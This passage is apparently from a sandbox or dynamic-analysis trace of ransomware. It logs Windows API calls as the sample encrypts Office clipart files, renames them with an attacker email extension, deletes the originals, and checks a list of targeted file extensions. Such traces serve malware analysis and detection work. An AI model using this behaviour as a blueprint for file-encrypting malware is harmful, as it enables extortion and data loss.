(hFile=0x374) returned 1 [0156.993] CloseHandle (hObject=0x374) returned 1 [0156.993] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.993] SetEndOfFile (hFile=0x39c) returned 1 [0156.994] CloseHandle (hObject=0x39c) returned 1 [0156.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf")) returned 1 [0156.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0156.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0156.995] lstrlenW (lpString=".doc") returned 4 [0156.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.995] lstrlenW (lpString=".docx") returned 5 [0156.995] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.995] lstrlenW (lpString=".pdf") returned 4 [0156.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.995] lstrlenW (lpString=".xls") returned 4 [0156.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.995] lstrlenW (lpString=".xlsx") returned 5 [0156.995] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.995] lstrlenW (lpString=".ppt") returned 4 [0156.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0156.995] lstrlenW (lpString=".zip") returned 4 [0156.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.995] lstrlenW (lpString=".rar") returned 4 [0156.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.995] lstrlenW (lpString=".bz2") returned 4 [0156.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.995] lstrlenW (lpString=".7z") returned 3 [0156.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0156.995] lstrlenW (lpString=".dbf") returned 4 [0156.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0156.995] lstrlenW (lpString=".1cd") returned 4 [0156.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0156.995] lstrlenW (lpString=".jpg") returned 4 [0156.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.000] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.000] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.001] GetLastError () returned 0x0 [0157.001] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1500, lpOverlapped=0x0) returned 1 [0157.010] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1510, lpOverlapped=0x0) returned 1 [0157.011] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.011] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.011] SetEndOfFile (hFile=0x37c) returned 1 [0157.011] CloseHandle (hObject=0x37c) returned 1 [0157.011] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.011] SetEndOfFile (hFile=0x364) returned 1 [0157.012] CloseHandle (hObject=0x364) returned 1 [0157.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf")) returned 1 [0157.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0157.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0157.013] lstrlenW (lpString=".doc") returned 4 [0157.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.013] lstrlenW (lpString=".docx") returned 5 [0157.013] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0157.013] lstrlenW (lpString=".pdf") returned 4 [0157.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.013] lstrlenW (lpString=".xls") returned 4 [0157.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.013] lstrlenW (lpString=".xlsx") returned 5 [0157.013] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0157.013] lstrlenW (lpString=".ppt") returned 4 [0157.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0157.013] lstrlenW (lpString=".zip") returned 4 [0157.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.013] lstrlenW (lpString=".rar") returned 4 [0157.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.013] lstrlenW (lpString=".bz2") returned 4 [0157.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.013] lstrlenW (lpString=".7z") returned 3 [0157.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0157.013] lstrlenW (lpString=".dbf") returned 4 [0157.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0157.013] lstrlenW (lpString=".1cd") returned 4 [0157.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0157.013] lstrlenW (lpString=".jpg") returned 4 [0157.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.014] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.014] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.014] GetLastError () returned 0x0 [0157.014] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1d4c, lpOverlapped=0x0) returned 1 [0157.027] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1d50, lpOverlapped=0x0) returned 1 [0157.028] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.028] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.028] SetEndOfFile (hFile=0x37c) returned 1 [0157.028] CloseHandle (hObject=0x37c) returned 1 [0157.028] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.028] SetEndOfFile (hFile=0x364) returned 1 [0157.029] CloseHandle (hObject=0x364) returned 1 [0157.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf")) returned 1 [0157.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0157.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0157.030] lstrlenW (lpString=".doc") returned 4 [0157.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.030] lstrlenW (lpString=".docx") returned 5 [0157.030] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0157.030] lstrlenW (lpString=".pdf") returned 4 [0157.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.030] lstrlenW (lpString=".xls") returned 4 [0157.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.030] lstrlenW (lpString=".xlsx") returned 5 [0157.030] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0157.030] lstrlenW (lpString=".ppt") returned 4 [0157.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0157.030] lstrlenW (lpString=".zip") returned 4 [0157.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.030] lstrlenW (lpString=".rar") returned 4 [0157.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.030] lstrlenW (lpString=".bz2") returned 4 [0157.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.030] lstrlenW (lpString=".7z") returned 3 [0157.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0157.030] lstrlenW (lpString=".dbf") returned 4 [0157.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0157.030] lstrlenW (lpString=".1cd") returned 4 [0157.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0157.030] lstrlenW (lpString=".jpg") returned 4 [0157.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.038] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.038] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.040] GetLastError () returned 0x0 [0157.040] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3fe2, lpOverlapped=0x0) returned 1 [0157.051] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3ff0, lpOverlapped=0x0) returned 1 [0157.051] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.052] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.052] SetEndOfFile (hFile=0x36c) returned 1 [0157.052] CloseHandle (hObject=0x36c) returned 1 [0157.052] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.052] SetEndOfFile (hFile=0x39c) returned 1 [0157.053] CloseHandle (hObject=0x39c) returned 1 [0157.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf")) returned 1 [0157.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0157.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0157.054] lstrlenW (lpString=".doc") returned 4 [0157.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.054] lstrlenW (lpString=".docx") returned 5 [0157.054] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0157.054] lstrlenW (lpString=".pdf") returned 4 [0157.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.054] lstrlenW (lpString=".xls") returned 4 [0157.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.054] lstrlenW (lpString=".xlsx") returned 5 [0157.054] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0157.054] lstrlenW (lpString=".ppt") returned 4 [0157.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0157.054] lstrlenW (lpString=".zip") returned 4 [0157.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.054] lstrlenW (lpString=".rar") returned 4 [0157.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.054] lstrlenW (lpString=".bz2") returned 4 [0157.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.054] lstrlenW (lpString=".7z") returned 3 [0157.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0157.054] lstrlenW (lpString=".dbf") returned 4 [0157.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0157.054] lstrlenW (lpString=".1cd") returned 4 [0157.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0157.055] lstrlenW (lpString=".jpg") returned 4 [0157.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.055] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.055] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.056] GetLastError () returned 0x0 [0157.056] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1d94, lpOverlapped=0x0) returned 1 [0157.069] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1da0, lpOverlapped=0x0) returned 1 [0157.070] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.070] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.070] SetEndOfFile (hFile=0x36c) returned 1 [0157.070] CloseHandle (hObject=0x36c) returned 1 [0157.070] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.070] SetEndOfFile (hFile=0x39c) returned 1 [0157.071] CloseHandle (hObject=0x39c) returned 1 [0157.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf")) returned 1 [0157.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0157.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0157.072] lstrlenW (lpString=".doc") returned 4 [0157.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.072] lstrlenW (lpString=".docx") returned 5 [0157.072] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0157.072] lstrlenW (lpString=".pdf") returned 4 [0157.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.072] lstrlenW (lpString=".xls") returned 4 [0157.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.072] lstrlenW (lpString=".xlsx") returned 5 [0157.072] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0157.072] lstrlenW (lpString=".ppt") returned 4 [0157.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0157.072] lstrlenW (lpString=".zip") returned 4 [0157.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.072] lstrlenW (lpString=".rar") returned 4 [0157.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.072] lstrlenW (lpString=".bz2") returned 4 [0157.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.072] lstrlenW (lpString=".7z") returned 3 [0157.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0157.072] lstrlenW (lpString=".dbf") returned 4 [0157.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0157.072] lstrlenW (lpString=".1cd") returned 4 [0157.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0157.072] lstrlenW (lpString=".jpg") returned 4 [0157.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.073] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.073] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.073] GetLastError () returned 0x0 [0157.073] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2394, lpOverlapped=0x0) returned 1 [0157.087] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x23a0, lpOverlapped=0x0) returned 1 [0157.088] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.088] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.088] SetEndOfFile (hFile=0x36c) returned 1 [0157.088] CloseHandle (hObject=0x36c) returned 1 [0157.088] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.088] SetEndOfFile (hFile=0x39c) returned 1 [0157.089] CloseHandle (hObject=0x39c) returned 1 [0157.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf")) returned 1 [0157.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0157.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0157.090] lstrlenW (lpString=".doc") returned 4 [0157.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.090] lstrlenW (lpString=".docx") returned 5 [0157.090] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0157.090] lstrlenW (lpString=".pdf") returned 4 [0157.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.090] lstrlenW (lpString=".xls") returned 4 [0157.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.090] lstrlenW (lpString=".xlsx") returned 5 [0157.090] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0157.090] lstrlenW (lpString=".ppt") returned 4 [0157.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0157.090] lstrlenW (lpString=".zip") returned 4 [0157.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.090] lstrlenW (lpString=".rar") returned 4 [0157.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.090] lstrlenW (lpString=".bz2") returned 4 [0157.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.090] lstrlenW (lpString=".7z") returned 3 [0157.090] lstrcmpiW 